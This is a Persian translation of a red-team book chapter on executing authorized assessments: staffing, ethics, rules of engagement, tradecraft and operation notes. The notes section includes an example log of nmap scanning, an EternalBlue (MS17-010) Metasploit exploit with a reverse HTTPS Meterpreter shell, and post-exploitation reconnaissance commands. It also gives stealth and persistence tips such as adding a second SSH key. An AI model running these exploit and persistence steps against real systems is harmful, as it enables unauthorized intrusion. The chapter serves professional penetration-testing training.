تیم قرمز حرفه‌ای

انجام تعاملات امنیت سایبری موفقیت‌آمیز

فصل ششم: اجرای ارزیابی

مهدی لقایی
سهیل هاشمی

فهرست مطالب

٦

فصل ششم: اجرای ارزیابی

اجرای ارزیابی‌های امنیت تهاجمی توسط تیم‌های قرمز از جمله موضوعات بیشتر مطالعات حوزه هک اخلاقی و فعالیت‌های آن است. نمونه‌ها و بررسی‌های بی‌شماری در نشریات مختلف وجود دارند که چگونگی هک سیستم‌ها را با استفاده از ابزارهای مختلف آموزش می‌دهند. اما هدف اصلی این کتاب، بررسی روش حرفه‌ای انجام چنین فعالیت‌هایی است نه خود این فعالیت‌ها. استفاده از بهترین اکسپلویت‌ها و حرفه‌ای‌ترین ابزارها یا اسکریپت‌ها در صورتی که این کار به صورت غیرحرفه‌ای انجام شود، کاملاً بی‌نتیجه خواهد بود. اجرا، مرحله‌ای از ارزیابی است که پس از توافق بر سر محدوده و امضای ROE به آن می‌رسیم. تنها در این مرحله است که تیم ارزیابی، اجرای واقعی تست را شروع می‌کند. در سطح بسیار بالا و از منظر کلی، این فرایند شامل یک چرخه پیوسته از سرشماری و بهره برداری است که در طی کل بازه اجرای ارزیابی ادامه دارد. پس از نفوذ موفقیت آمیز، تیم ارزیابی باید از همه اطلاعات موجود در سیستم اولیه برای حرکت عرضی و نفوذ عمیق‌تر در سیستم‌های سازمان استفاده کند. در این فصل به بررسی اصول توصیه شده و چگونگی عمل کردن مثل یک هکر حرفه‌ای در تعاملات تیم قرمز می‌پردازیم.

انتخاب کارمندان

پس از تکمیل شدن تعیین محدوده، تیم ارزیابی باید مطمئن شود که پرسنل لازم برای ارزیابی در دسترس هستند. بخشی از خدمات یک تیم قرمز حرفه‌ای، توانایی هدف گیری سیستم‌های مورد نظر با روش درست و با استفاده از ماهرترین کارمندان است. اگر در ROE نیاز به فعالیت فیزیکی ذکر شده باشد و هیچ یک از ارزیابان انتخاب شده برای عملیات تجربه مرتبطی در این زمینه نداشته باشد، باید پیش از شروع عملیات به این موضوع پرداخت. به ویژه این موضوع برای فعالیت‌هایی مثل ارزیابی‌های فیزیکی و بی‌سیم که ممکن است اعضای معمولی تیم قرمز فرصت حمله به چنین اهدافی را نداشته باشند، صدق می‌کند. همچنین هنگام انتخاب کارمندان برای یک عملیات، باید مهارت‌های تخصصی لازم برای نوع سیستم‌هایی که قرار است مورد سرشماری و بهره برداری قرار بگیرند، مشخص شود. اگر تیم در حال ارزیابی یک بیمارستان با دستگاه‌های نظارت پزشکی یا یک کارخانه مونتاژ دارای سیستم‌های سرپرستی و گردآوری داده (SCADA[1]) است، در این صورت باید شامل کارمندانی باشد که با شیوه تصمیم گیری آگاهانه برای اسکن و بهره برداری از چنین دستگاه‌هایی آشنا باشند. اگر تیم ارزیابی امکان تأمین چنین پرسنلی را ندارد،

[1] Supervisory control and data acquisition

باید از سازمان مشتری کمک گرفت تا برای پیشگیری از بروز حادثه، چنین کارمندانی با تخصص لازم در دسترس باشند.

هکر حرفه‌ای

کار کردن به عنوان یک سارق سایبری که برای نفوذ به سیستم‌های دیگران به صورت قانونی دستمزد دریافت می‌کند، می‌تواند تجربه لذت بخشی باشد اما لازم است در همه مراحل ارزیابی از جمله در جنبه‌های فنی و مهارتی مرحله اجرا، به ملاحظات احساسی و اخلاقی توجه داشت. شاید مقاومت در برابر لذت بردن از این فرایند کار سختی باشد اما وقتی اعضای تیم ارزیابی از رفتار اخلاقی یا احساسی درست فاصله می‌گیرند، ممکن است با آسیب رساندن به چهره حرفه‌ای تیم، مزایا و فواید ارزیابی را تحت الشعاع قرار دهند. در حالت معمولی هم سازمان‌های مشتری به سختی می‌توانند به افرادی که به دنبال آشکارسازی نقطه ضعف‌های آنها هستند، اعتماد کرده و با آنها ارتباط برقرار کنند. وقتی تیم ارزیابی کارهای ناشایستی مثل تغییر نام فایل گزارش وقایع به **cantcatchme.txt** (مترجم: نمی‌تونی منو بگیری) یا تغییر پس زمینه حساب ادمین به یک تصویر طنز را انجام می‌دهند، همه کارهای تیم را زیر سوال می‌برند. به ویژه در شرایطی که رابطه بین مشتری-ارایه دهنده خدمات خصمانه باشد، ممکن است کارمندان تیم قرمز وسوسه شوند که کارمندان امنیتی را خجالت زده کنند اما نباید رفتار حرفه‌ای را فراموش کرد. اعضای تیم قرمز باید به غیر از در نظر گرفتن تأثیرات اخلاقی یا احساسی اقدامات خودشان، روال مطلوب را دنبال کرده، از تکنیک‌ها و شگردهای مناسب استفاده کرده و یادداشت‌هایی کامل در رابطه با عملیات تهیه کنند.

روال مطلوب

تیم ارزیابی باید در این فرایند یکسری فعالیت‌های معمولی و رایج را پیاده سازی کنند. این روال توصیه شده و مطلوب با این هدف طراحی شده که از تیم ارزیابی در برابر سوء تفاهم‌ها حفاظت کرده و مشتریان را در جریان روال کار قرار دهد.

بررسی ROE

یکی از اولین کارهایی که تیم ارزیابی باید در شروع این فرایند انجام دهند، بررسی دوباره **ROE** برای مشخص کردن نوع فعالیت‌های مجاز در این تعامل و همچنین بررسی مجدد محدوده عملیات است. این آخرین فرصت تیم ارزیابی است تا اطمینان حاصل کند که هک اخلاقی را به

روش قانونی انجام می‌دهد. همچنین این کار یک نوع بررسی ایمنی مجدد است تا تیم ارزیابی یک نسخه از ROE داشته باشد (سندی که گاهی اوقات می‌تواند حکم برگ آزادی را برای این تیم داشته باشد).

اطلاع‌رسانی درباره فعالیت‌ها

وقتی تیم قرمز کار با سیستم‌های هدف را شروع می‌کند، اعضای تیم باید به مشتری و همچنین مدیر عملیاتی خودشان در تیم ارزیابی اطلاع دهند که ارزیابی شروع شده است. به همین ترتیب، در پایان روز هم زمانی که تیم قرمز کار با سیستم‌های سازمان هدف را متوقف می‌کند، باید این موضوع را به اطلاع دیگران برساند. انجام این کار در همه روزهای ارزیابی به چند دلیل مفید است که می‌توان گفت مهم‌ترین آنها این است که سازمان مشتری در صورت مشاهده نشانه‌های نفوذ به سرعت تشخیص دهد که این نشانه‌ها مربوط به فعالیت‌های تیم قرمز هستند یا حملات واقعی.

اطلاع رسانی به مشتری درباره مدت زمان انجام کار در روز، به برقراری ارتباطات مناسب با مشتری در زمینه فعال بودن تیم قرمز در شبکه‌های عملیاتی کمک می‌کند. اغلب اوقات، امنیت تهاجمی جزء کارهایی است که از راه دور انجام می‌شود و اطلاع رسانی درباره مشغول بودن تیم قرمز باعث می‌شود که مدیریت عملیاتی و مشتری در رابطه با اینکه آیا تیم ارزیابی کارشان را انجام می‌دهند یا خیر، دچار ابهام نشوند. انجام این کار در مواقعی که مشتری امکان سر زدن به اتاق تیم قرمز و بررسی مشغول بودن آنها به سرشماری و بهره برداری از سیستم‌ها را ندارد، مفید است.

بعلاوه، تیم قرمز باید در پایان روز درباره احتمال تأثیر گذاشتن فعالیت‌های تیم بر عملکرد سازمان پس از پایان ساعات کاری هم به مشتری اطلاع رسانی کند. به خصوص این موضوع برای ارسال سیگنال‌های راهنمای توسط ابزارهای دسترسی از راه دوری که تیم روی برخی سیستم‌ها فعال نگه می‌دارد، صدق می‌کند. اما گاهی اوقات، ممکن است بهره برداری مستلزم فعال نگه داشتن یک کد باشد به این امید که یکسری از فعالیت‌های تصادفی یا زمانبندی شده روی یک سیستم منجر به اجرای کد و نصب یکی از ابزارهای تیم قرمز شود. در چنین شرایطی، بهتر است که به مدیریت سازمان در رابطه با احتمال رخ دادن چنین فعالیت‌هایی پس از ساعت کاری اطلاع رسانی کرد.

شگردهای عملیاتی

شگردها، هنر واقعی نهفته در یک ارزیابی خوب توسط تیم قرمز هستند. در واقع کارشناسان امنیت تهاجمی با کمک همین شگردها از تخصص فنی و مهارت‌هایی که طبق تجربه کسب کرده‌اند استفاده می‌کنند تا بهترین شبیه سازی ممکن از تهدیدات را برای یک مشتری انجام دهند. تعریف شخصی من از شگرد عملیاتی تیم قرمز سایبری، آشنایی با مرز بین احتیاط و بی‌دقتی و حرکت کردن روی همین مرز همزمان با انجام کار مورد نظر است. اعضای یک تیم قرمز حرفه‌ای فقط باید در حدی خلاق و بی‌پروا عمل کنند تا امکان انجام تکمیل ارزیابی به صورت امن در بازه تعیین شده فراهم شود و فقط به اندازه‌ای روشمند و با احتیاط عمل کنند که حین اجرای ارزیابی شناسایی نشوند. مثلاً اجرای شگرد استفاده از اکسپلویت‌هایی مثل **MS17-010** که ریسک ریبوت کردن سیستم را دارند، می‌تواند تصمیم خوبی باشد به این شرط که هیچ یک از راه‌های دیگر اجرای تست ممکن نباشد و (در صورت لزوم) درباره این موضوع با مشتری توافق شده باشد.

استفاده از یک اکسپولیت هسته سیستم‌عامل فقط برای شتاب بخشیدن به کارها بدون بررسی امکان اجرای سایر روش‌ها مثل یک اسکریپت از نوع **world writeable**[۲] که توسط کاربر ریشه[۳] اجرا می‌شود و ریسک کمتری برای هدف دارد، یک شگرد ضعیف محسوب می‌شود. معمولاً خیلی از تیم‌های قرمز این توانایی را دارند که از مرز بی‌احتیاطی عبور نکنند اما عمل کردن به صورت بسیار روشمند یا محتاط مسئله‌ای است که حتی ممکن است هکرهای اخلاقی بسیار توانمند هم در آن مشکل داشته باشند. طبق تجربه، دو مسئله وجود دارد که می‌تواند باعث شود یک ارزیاب بسیار عالی برای انجام کارآمد و مؤثر وظایف به کندی پیش برود؛ برخی از ارزیاب‌ها اسیر وسوسه پدیده لانه خرگوش[۴] می‌شوند و برخی دیگر ترس از گیر افتادن دارند.

معمولاً هکرهای اخلاقی افراد به شدت محتاطی هستند که باید در یک ارزیابی با چالش‌های مختلفی روبرو شوند. این موضوع برای خود ارزیابی مفید است اما از جهات مختلف می‌تواند مانع موفقیت شود. این لانه‌های خرگوش معمولاً حکم سینکی را دارند که توجه تیم ارزیابی را از هدف اصلی یعنی ارتقای وضعیت امنیت سازمان از طریق یک ارزیابی حرفه‌ای، دور می‌کنند. دنبال کردن

---

[۲] مترجم: فایل‌هایی که هر کاربری در سیستم می‌تواند آنها را اصلاح و دستکاری کند.

[3] root

[۴] اشاره به یک مسیر اکتشافی طولانی و پر پیچ و خم با اتصالات و شاخه‌های فراوان

یک لانه خرگوش نیازمند تلاش بسیار زیاد برای کاوش کامل این مسیر است و ممکن است به کل فرایند ارزیابی کمکی نکند.

مثلاً فرض کنید با یک اسکن مشخص می‌شود که ۱۰ میزبان در برابر اجرای کد از راه دور آسیب‌پذیر هستند و بعد یک ارزیاب از این اطلاعات برای دسترسی سطح بالا به یک سیستم استفاده می‌کند. حالا در نیمی از سیستم‌ها، آسیب‌پذیری‌های نسبتاً ساده ارتقای سطح دسترسی وجود دارد که می‌توان برای بررسی همه سیستم‌ها از آنها استفاده کرد و در نیمی از سیستم‌ها چنین امکانی وجود ندارد. ممکن است تلاش برای ارتقای سطح دسترسی در یک یا چند مورد از سیستم‌ها، تیم ارزیابی را به جای استفاده از ماشین‌هایی که دسترسی به آنها راحت بوده و می‌توانند حاوی اطلاعات ارزشمند مشابه یا بیشتری باشند، درگیر شکست دادن این چالش کند. هنگام روبرو شدن با چالش‌های هر سیستم، ممکن است توجه به نیازهای مهم‌تر ارزیابی کلی، بسیار سخت باشد. توانایی در نظر گرفتن اولویت حمله به خود سازمان به جای مقابله با هر چالش، برای انجام کار مورد نظر و انتخاب شگردهای خوب اهمیت زیادی دارد.

در یکی از مأموریت‌های ما، تیم ارزیابی در ابتدا توانست از راه دور به یک سرور وب دسترسی پیدا کند اما اطلاعات پیدا شده در سیستم کمکی به حرکت بیشتر در شبکه نکرد. در ارزیابی اولیه سیستم، ارزیاب اول فایلی را پیدا کرد که حاوی کلیدهای رابط برنامه نویسی اپلیکیشن (API[5]) بود و چند هفته تلاش کرد تا با APIهای موجود در سایر سیستم‌های شبکه تعامل برقرار کرده و از آنها استفاده کند - اما در نهایت متوجه شد که دسترسی همه آنها به سیستم‌های راه دور بسیار محدود یا در حد صفر بودند. پس از اینکه ارزیاب اول مشغول به یک ارزیابی دیگر شد، ارزیاب بعدی ظرف چند دقیقه متوجه شد که پوشه ssh. چند کاربر حاوی کلیدهای SSH بوده که با استفاده از آنها می‌توانستند به خیلی از سیستم‌های سازمان دسترسی پیدا کرده و نفوذ را ادامه دهند. در این مورد واضح است که ارزیاب اول با مشاهده چالش جذاب سوء استفاده از کلیدهای API گرفتار تله لانه خرگوش شده و همین موضوع باعث تلف شدن چند هفته از وقت ارزیابی شده در حالی که ارزیاب می‌توانست با بررسی کامل‌تر سیستم به کلیدهای SSH دسترسی پیدا کرده و به سایر میزبان‌های شبکه نفوذ کند. دانستن حد مناسب برای دست کشیدن از یک چالش فقط با تجربه زیاد ممکن است.

برای یک هکر اخلاقی بحث نخبه گرایی هم اهمیت زیادی دارد و معمولاً برای اعضای تیم قرمز هیچ حسی بدتر از گیر افتادن حین فعالیت در یک سازمان نیست. همه ما مایل هستیم که

[5] application programming interface

نینجاهای سایبری مرموز و حرفه‌ای باشیم و کارکنان امنیت سایبری سازمان هیچ وقت این موضوع را که ما دچار اشتباه شدیم و ما را در سیستم‌های سازمان شناسایی کرده‌اند، به رخ‌مان نکشند. این موضوع می‌تواند باعث شود که حتی افراد مجرب در حوزه امنیت تهاجمی با تمام تلاش سعی کنند مخفی بمانند تا به خاطر گیر افتادن و شناسایی شدن، شرمسار نشوند. قطعاً احتیاط هم تا حدی لازم است و تیم قرمز باید سعی کند بین ترافیک و نویز شبکه مخفی شود. این یعنی وقتی که یک اکسپلویت مثل **MS17-010** برای بهره برداری از راه دور وجود دارد اما مشخص شده که همان سیستم یک مخزن بدون احرازهویت برای جابجایی فایل‌ها دارد، مهاجم ابتدا سعی می‌کند با ترکیب شدن در فعالیت‌های معمولی با استفاده از همان مخزن مشترک به سیستم دسترسی پیدا کند. ارزیاب با نقشه برداری از مخزن، نصب یک ابزار دسترسی راه دور روی سیستم و اجرای آن از طریق فرمان‌های معمولی و محلی سیستم (مثل فرمان‌هایی که یک کاربر معمولی انجام می‌دهد)، بین ترافیک و نویز شبکه مخفی می‌شود و از اجرای اکسپلویت که می‌تواند منجر به تولید ترافیک ناهنجار شود، خودداری می‌کند.

همچنین برای پنهان شدن بین نویز شبکه باید تا حداکثر میزان ممکن از جریان‌های مدیریت و ارتباطی مدیران سازمان بهره برداری کرد. این یعنی استفاده از پروتکل‌هایی مثل **SSH**، ریموت دسکتاپ و اعتبارنامه‌های کاربری به دست آمده برای جابجایی و حرکت در شبکه. چنین فعالیت‌هایی به مهاجمان امکان می‌دهد که مثل سایر کاربران معمولی سازمان به نظر برسند و در عین حال فعالیت‌های مخرب را به تأخیر نیندازند. همچنین ممکن است عمل کردن شبیه به یک کاربر غیرمخرب مستلزم ایجاد حداقل ردپای ممکن باشد مثلاً با اضافه کردن یک کلید **SSH** دوم برای یک کاربر خاص جهت حفظ دسترسی به سیستم به جای نصب یک ابزار دسترسی از راه دور. همه این موارد احتیاط و پنهان شدن بین نویز شبکه، جزء شگردهای خوب هستند. روش بد این است که تیم ارزیابی بیش از حد نگران گیر افتادن باشد در حدی که از بهره برداری از اکسپلویت‌های پرنویز خودداری کند حتی با اینکه سایر روش‌ها بی‌نتیجه بوده‌اند تنها به این دلیل که تیم ارزیابی ترجیح داده که به جای شناسایی شدن توسط ابزارهای امنیتی، نتایج کمتری برای گزارش دادن داشته باشد. این یک روش ضعیف و غیرحرفه‌ای برای اجرای عملیات تیم قرمز است چون هدف اصلی، ارتقای وضعیت امنیت سازمان به حداکثر میزان ممکن است نه عمل کردن به مخفیانه‌ترین حالت. اگر کارمندان بخش امنیت سازمان توانایی مقابله با بیشتر تهدیدات را داشته باشند و بعد شما را شناسایی کنند، فراموش نکنید که شما یک فرد حرفه‌ای هستید که یک وظیفه شغلی مشخص دارد و آنها مشتری شما هستند.

یادداشت‌های عملیاتی

بین همه کارهایی که حتی هکرهای خیلی خوب هم در انجام آن ضعف دارند، احتمالاً یادداشت برداری از عملیات مهم‌ترین مورد است. این ضعف به هیچ وجه خوشایند نیست چون یادداشت برداری درست می‌تواند یکی از مفیدترین ابزارها برای اجرای عملیات تیم قرمز باشد. یادداشت‌های عملیاتی به همکاری و حل مسئله در تیم‌های بزرگتر کمک می‌کنند؛ این یادداشت‌ها به حفظ آگاهی مشتری و مدیر عملیاتی سازمان از فعالیت‌های تیم قرمز کمک کرده و نقش مهمی در گزارش دهی خوب و کمک به مقابله با تهدیدات شناسایی شده در سازمان دارند. همچنین، تهیه یادداشت‌های عملیاتی جامع می‌تواند برای پیشگیری از وارد شدن اتهام سهل انگاری یا ارتکاب فعالیت‌های نامناسب به تیم قرمز جلوگیری کند. یادداشت‌های عملیاتی باید همه فعالیت‌ها را پوشش دهند و باید زمان اجرای فعالیت و توضیحات آن هم در یادداشت مشخص شود.

در جلسه ارایه خلاصه یکی از ارزیابی‌ها، تیم نظارتی سازمان در جلسه حضور داشتند و هنگام توضیح روش‌های بهره برداری و نفوذ ما، با تعجب و شگفتی به ما زل زده بودند. بعد از جلسه، اعضای این تیم از ما پرسیدند که آیا در رابطه با زمان و مکان نفوذ، میزبان‌هایی که به آنها دسترسی پیدا کردیم و سطح دسترسی مورد استفاده اطلاعات کاملی داریم یا خیر چون مطمئن بودند که باید در رابطه با فعالیت‌های ما در سیستم هشدار دریافت می‌کردند. من با استفاده از یادداشت‌های عملیاتی مفصلی که تهیه کرده بودم، توانستم اطلاعات لازم را در اختیار آنها قرار دهم تا با مراجعه به گزارش‌های ثبت وقایع و داده‌های مربوط به جریان اطلاعات در شبکه، آثار ناشی از فعالیت‌های ما را پیدا کرده و به هم ارتباط دهند. در نهایت، این تیم نظارتی متوجه شد که حتی اطلاعات مناسب و مرتبط را در اختیار ندارد چه برسد به قابلیت صدور هشدار در سیستم‌ها و ما به آنها توضیح دادیم که چندین مورد از تپ‌های شبکه را اشتباه پیاده سازی کرده‌اند. اگر این یادداشت‌های عملیاتی حرفه‌ای را نداشتیم، طی کردن این مرحله مهم برای ارتقای وضعیت امنیتی سازمان ممکن نبود. ارزیابی که ما آن را خلاصه کرده بودیم، تقریباً یک ماه قبل انجام شده بود و بررسی گزارش وقایع فریم ورک اکسپلویت ما و سایر آثار فعالیت‌های تیم ارزیابی کار بسیار زمانبری بود و به اطلاعات مناسب منتهی نمی‌شد.

یادداشت‌های خوب علاوه بر مفید بودن برای سازمان مشتری، به تیم ارزیابی هم امکان می‌دهند که به سرعت تشخیص دهند آیا برخی از گزارش‌های وقایع یا سایر آثار موجود در سیستم به فعالیت‌های آنها روی میزبان‌های مختلف ارتباط دارند یا خیر. به خصوص این موضوع در

ارزیابی‌های مشارکتی که در آنها همزمان چندین نفر در سازمان مشغول فعالیت هستند، اهمیت زیادی دارد. تهیه یادداشت‌های عملیاتی سازماندهی شده و استانداردسازی شده توسط افراد دخیل در عملیات، به حفظ هماهنگی بین افراد کمک کرده و این امکان را فراهم می‌کند که مثلاً یک ارزیاب به ارزیابی دیگر هشدار دهد که ممکن است اقداماتش باعث بروز مشکل یا شناسایی تیم قرمز شود. همچنین، قرار دادن این یادداشت‌ها در دسترس سازمان مشتری در صورت شناسایی علائم نفوذ به تشخیص هر چه سریع‌تر فعالیت‌های تیم قرمز از فعالیت‌های مخرب واقعی کمک می‌کند. تماس اضطراری نیمه شب برای بررسی گزارش وقایع روی سیستم میزبان حمله تیم ارزیابی، جهت اطمینان از اینکه این علائم مربوط به حمله واقعی نیستند، رفتار چندان جالب و حرفه‌ای نیست.

به طور کلی یادداشت‌های عملیاتی که تعاملات سیستمی را پوشش می‌دهند، مربوط به یکی از این چهار مرحله هستند: سرشماری و بهره برداری، آگاهی پس از دسترسی، دستکاری سیستم و رها کردن هدف. در ادامه نگاهی به اطلاعاتی داریم که باید از ابتدا تا انتهای بهره برداری از سیستم‌ها، از آنها یادداشت برداری کرد. توضیحات ارایه شده جامع نیستند و ممکن است اضافه کردن موارد دیگر هم خوب باشد اما هدف این بوده که حداقل نکات لازم برای یادداشت برداری مرور شوند. در انتها یک نمونه قالب گزارش هم ارایه شده است.

سرشماری و بهره برداری

باید همه فعالیت‌های سرشماری و بهره برداری با جزئیات کافی در یادداشت‌های عملیاتی ذکر شوند تا کار انجام شده توسط ارزیاب‌ها مشخص شود. اولین ابزاری که ممکن است یک تیم قرمز استفاده کند، ابزار اسکن شبکه برای شناسایی اهداف بالقوه است. برچسب زمان، منشأ اسکن و فرمان مورد استفاده برای شروع اسکن هم در یادداشت‌ها مشخص می‌شود:

```
11:52 AM 8/19/2018 from 192.168.96.4 running nmap -sS -p 22,445,3389,80,443
192.168.97.0/24
```

فرض کنید با اجرای این فرمان مشخص می‌شود که پورت ۴۴۵ میزبان **192.168.97.128** باز است و ارزیاب به این نتیجه می‌رسد که پیگیری این هدف خوب است اما قبل از آن باید مشخص شود که چه سیستم‌عاملی روی این میزبان اجرا می‌شود تا اکسپلویت مناسب را انتخاب کند.

در اینجا باید بخش‌های مناسبی از پاسخ را در یادداشت‌ها ثبت کرد تا بعداً امکان ارجاع به آنها توسط تیم پیگیری یا در گزارشات و خلاصه‌ها وجود داشته باشد:

11:58 AM 8/19/2018 from 192.168.96.4 running nmap -O -v 192.168.97.128

Aggressive OS guesses: Microsoft Windows 10 1703 (92%)

(حدس تهاجمی سیستم‌عامل: مایکروسافت ویندوز ۱۰ ۱۷۰۳ (۹۲ درصد))

سپس ارزیاب به این نتیجه می‌رسد که با توجه به در اختیار نداشتن اعتبارنامه‌های کاربری (نام کاربری و رمزعبور)، تنها اکسپلویت قابل استفاده MS17-010 SMBv1 است و قبل از اینکه به شکل بیهوده باعث تولید ترافیک ناهنجار توسط اکسپلویت شود، از نصب نبودن وصله‌های امنیتی اطمینان حاصل می‌کند:

12:10 PM 8/19/2018 from 192.168.96.4 nmap -Pn -p445 -script smb-vuln-ms17-010 -v 192.168.97.128

smb-vuln-ms17-010:

VULNERABLE:

Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)

State: VULNERABLE

IDs: CVE:CVE-2017-0143

Risk factor: HIGH

A critical remote code execution vulnerability exists in Microsoft SMBv1 servers (ms17-010).

اجرای کد از راه دور در سرورهای SMBv1 مایکروسافت (ms17-010)

وضعیت: آسیب‌پذیر، ضریب ریسک: بالا، یک آسیب‌پذیری اجرای کد از راه دور در سرورهای SMBv1 مایکروسافت (ms17-010) وجود دارد.

پس از تشخیص آسیب‌پذیر بودن سیستم هدف 192.168.97.128، ارزیاب شروع به اجرای اکسپلویت می‌کند. درج اطلاعات همه فرمان‌های قبلی به همراه اطلاعات مربوط به اکسپلویت لازم است مثل خود پی‌لود:

12:14 PM 8/19/2018 from 192.168.96.4 msf exploit(ms17_010_eternalblue) > exploit against 192.168.97.128 on TCP port 445 with the following payload option: (windows/x64/meterpreter/reverse_https) and a locally listening port of 443

```
[+] 192.168.97.128:445 - ETERNALBLUE overwrite completed successfully
(0xC000000D)!
[*] Meterpreter session 1 opened (192.168.96.4:443 -> 192.168.97.128:63687)
```

آگاهی پس از دسترسی

قسمت بعدی یادداشت‌های عملیاتی، مربوط به اقداماتی است که ارزیاب پس از دسترسی انجام می‌دهد و شروع این اقدامات، تعامل با هدف راه دور است. فرمان‌های زیر به کسب اطلاعات وضعیتی مناسب درباره این محیط راه دور کمک می‌کنند:

```
12:15 PM 8/19/2018 on 192.168.97.128 meterpreter >getuid
Server username: NT AUTHORITY\SYSTEM
```

این یادداشت مشخص کننده سطح دسترسی است که از طریق اجرای اکسپلویت راه دور به دست آمده و اینکه آیا پس از نفوذ به هدف ارتقای سطح دسترسی ضروری است یا خیر.

```
12:16 PM 8/19/2018 on 192.168.97.128 meterpreter > sysinfo
meterpreter > sysinfo
Computer : DOVREGUBBEN
OS : Windows 10
Architecture : x64
System Language : en_US
Domain : TROLLHOME
Logged On Users : 2
Meterpreter : x64/windows
```

این یادداشت‌ها اطلاعات بسیار ارزشمندی در رابطه با آگاهی وضعیتی فراهم می‌کنند از جمله زبان نصب شده روی سیستم‌عامل که بر برخی ابزارها و اکسپلویت‌ها تأثیرگذار است و تعداد کاربرانی که وارد سیستم شده‌اند. با توجه به وجود دو کاربر، ممکن است ارزیاب به دنبال مشخص کردن ادمین بودن آنها باشد چون در این صورت احتمالاً چنین کاربرانی اطلاعات امنیتی بیشتری داشته و از حضور مهاجم روی سیستم آگاه‌تر هستند. ارزیاب در ابتدا با استفاده از یک ابزار یک پوسته ایجاد می‌کند و بعد با استفاده از فرمان‌های سیستم محلی به اجرای این فرایند ادامه می‌دهد:

12:17 PM 8/19/2018 on 192.168.97.128 meterpreter > shell

Process 1775 created.

12:18 PM 8/19/2018 on 192.168.97.128 query user

USERNAME SESSIONNAME ID STATE IDLE TIME LOGON TIME

>Administrator console 1 Active none 8/19/2018 12:05 PM

این فرمان نشان می‌دهد که یک ادمین در سیستم فعال است و ورود به سیستم توسط ادمین تقریباً در همان زمانی که اکسپلویت اجرا شده، صورت گرفته است. همچنین مشخص می‌شود که ادمین فعال است و در وضعیت بیکار[6] قرار ندارد. بدون شک این موضوع بر سطح ریسک قابل قبول برای فعالیت در سیستم تأثیرگذار است. قابلیت‌های تعلیق و بازیابی[7] می‌توانند بر اطلاعات به دست آمده از این فرمان تأثیرگذار باشند بنابراین همیشه این نکته را در نظر داشته باشید. با توجه به اینکه محبوبیت مجازی سازی روزبروز بیشتر می‌شود ارزیاب باید در جریان باشد که این موضوع می‌تواند بر زمان بیکار بودن هم تأثیر داشته باشد.

سپس ارزیاب مشخص می‌کند که از نظر هدف جدید، ساعت و تاریخ جاری چیست. هنگام ارتباط دادن فعالیت‌های نظارتی و گزارش وقایع، ارزیاب برای پاکسازی آثار پس از بهره برداری یا وقتی نیاز به رفع تضاد با یکی از موجودیت‌های نظارتی در خلاصه فعالیت‌ها داشته باشد، زمان هدف از جمله اطلاعات مهم خواهد بود. بسیاری از سازمان‌ها فعالیت‌های بین المللی و مراکز داده‌ای در مکان‌های مختلف دارند به خصوص با توجه به افزایش محبوبیت خدمات ابر. مثلاً ممکن است یک شرکت در آمریکا میزبان چند دستگاه در کلاسترهای AWS ایرلند باشد. اگر برچسب زمان فرمان و زمان جاری سیستم غیرفعال باشند، ارزیاب باید این نکته را در نظر داشته باشد.

12:20 PM 8/19/2018 on 192.168.97.128 time

The current time is: 12:20:22.12

از آنجایی که بین زمان سیستم و زمان حمله به سیستم تفاوت چشمگیری وجود ندارد، ارزیاب می‌تواند به این نتیجه برسد که هر گونه اطلاعاتی با برچسب زمانی در نودهای عملیاتی باید ارتباط نزدیکی با رویدادهای سیستم هدف داشته باشند.

---

[6] idle

[7] suspend-and-restore

ارزیاب باید برای به دست آوردن اطلاعات زمینه‌ای بیشتر درباره هدف، با فرایندها و اتصالات فعال آشنایی پیدا کند. خروجی این فرمان‌ها بسیار طولانی است به همین دلیل نتایج برش خورده و کوتاه‌تر شده‌اند:

12:23 PM 8/19/2018 on 192.168.97.128 tasklist

Image Name	PID	Session Name	Session#	Mem Usage
System Idle Process	0	Services	0	8 K
System	4	Services	0	140 K
Registry	88	Services	0	8,692 K
smss.exe	328	Services	0	992 K
csrss.exe	444	Services	0	4,644 K
csrss.exe	520	Console	1	4,540 K
wininit.exe	540	Services	0	5,884 K
winlogon.exe	584	Console	1	9,380 K
services.exe	656	Services	0	8,472 K
lsass.exe	672	Services	0	14,968 K
svchost.exe	792	Services	0	3,556 K
cmd.exe	1775	Services	0	27,376 K
dwm.exe	516	Console	1	88,240 K
tasklist.exe	3688	Console	1	7,476

در این فهرست پردازش‌های هدف، ارزیاب متوجه حضور پوسته‌ای می‌شود که در **cmd.exe** ایجاد کرده بود و سه موضوع را بررسی می‌کند. اول مرور کلی بر پردازش‌ها است که نشان می‌دهد که آیا نرم‌افزار امنیتی وجود دارد اکسپولیت دسترسی را شناسایی کرده یا بعداً سایر اقدامات را شناسایی کند یا خیر. سپس ارزیاب به دنبال پردازش‌های بالقوه‌ای است که می‌توانند سطح حمله بیشتری روی این میزبان‌ها یا میزبان‌های دیگر ایجاد کنند. در نهایت، ارزیاب وجود پردازش‌هایی را جستجو می‌کند که می‌توانند نشان دهنده نفوذ توسط یک میزبان مخرب به این ماشین باشند. حتی حین اجرای مأموریت هم اعضای تیم قرمز می‌توانند در سنگر سیستم‌های یک سازمان نقش یک خط دفاعی مهم را بازی کنند. این سه دلیل تحلیل، برای پورت‌های شنونده در سیستم هم قابل استفاده هستند تا فرایندهای در حال ارتباط را مشخص کنند:

12:26 PM 8/19/2018 on 192.168.97.128 netstat -ano

اتصالات فعال

Proto	Local Address	Foreign Address	State	PID
TCP	0.0.0.0:135	0.0.0.0:0	LISTENING	980
TCP	0.0.0.0:445	0.0.0.0:0	LISTENING	4
TCP	0.0.0.0:1536	0.0.0.0:0	LISTENING	540
TCP	0.0.0.0:1537	0.0.0.0:0	LISTENING	1332
TCP	0.0.0.0:1538	0.0.0.0:0	LISTENING	1400
TCP	0.0.0.0:1539	0.0.0.0:0	LISTENING	672
TCP	0.0.0.0:1540	0.0.0.0:0	LISTENING	2660
TCP	0.0.0.0:1541	0.0.0.0:0	LISTENING	656
TCP	0.0.0.0:1640	0.0.0.0:0	LISTENING	8428
TCP	0.0.0.0:5040	0.0.0.0:0	LISTENING	5480
TCP	169.254.105.111:139	0.0.0.0:0	LISTENING	4
TCP	192.168.97.128:139	0.0.0.0:0	LISTENING	4
TCP	192.168.97.128:1719	192.168.96.4:443	ESTABLISHED	3160

